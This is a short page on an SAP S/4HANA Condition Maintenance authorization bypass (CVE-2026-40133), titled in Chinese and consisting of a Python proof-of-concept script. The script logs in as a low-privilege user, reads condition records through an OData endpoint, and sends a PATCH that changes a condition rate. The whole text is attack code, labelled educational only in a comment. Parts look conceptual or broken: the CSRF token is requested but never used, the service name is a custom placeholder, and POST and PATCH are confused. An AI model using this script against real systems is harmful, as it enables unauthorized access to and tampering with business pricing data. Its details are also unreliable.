CVE-2026-40133 SAP S/4HANA Condition Maintenance权限绕过漏洞

import requests # SAP S/4HANA Condition Maintenance PoC Concept # This script demonstrates a potential unauthorized access attempt due to missing authorization. # Note: This is for educational and defensive testing purposes only. target_url = "https://<sap_server_hostname>/sap/bc/webdynpro_abap/sap/condition_maintenance" session = requests.Session() # Attacker credentials (Low privilege user) credentials = { 'sap-user': 'low_priv_user', 'sap-password': 'password123', 'sap-client': '001' } # 1. Authenticate to the system print("[+] Attempting authentication...") login_response = session.post(target_url, data=credentials, verify=False) if login_response.status_code == 200: print("[+] Authentication successful.") # 2. Construct malicious payload to view/modify condition table record # Exploiting the missing authorization check on the specific endpoint vulnerable_endpoint = "https://<sap_server_hostname>/sap/opu/odata/SAP/Z_CONDITION_SRV/ConditionTableSet('Key=12345')" headers = { 'X-CSRF-Token': 'fetch', # Handling CSRF protection if present 'Content-Type': 'application/json' } # 3. Send GET request to view unauthorized data print(f"[+] Sending unauthorized GET request to {vulnerable_endpoint}") get_response = session.get(vulnerable_endpoint, headers=headers, verify=False) if get_response.status_code == 200: print("[!] Successfully retrieved confidential condition record:") print(get_response.text) else: print("[-] Failed to retrieve data.") # 4. Send POST request to modify unauthorized data # Payload to modify the condition value modify_payload = { "ConditionRate": "999.99", "Currency": "USD" } # Update CSRF token if required (omitted for brevity) print(f"[+] Sending unauthorized PATCH request to modify data...") patch_response = session.patch(vulnerable_endpoint, json=modify_payload, headers=headers, verify=False) if patch_response.status_code == 200 or patch_response.status_code == 204: print("[!] Successfully modified condition record due to missing auth check.") else: print(f"[-] Modification failed with status code: {patch_response.status_code}") else: print("[-] Authentication failed.")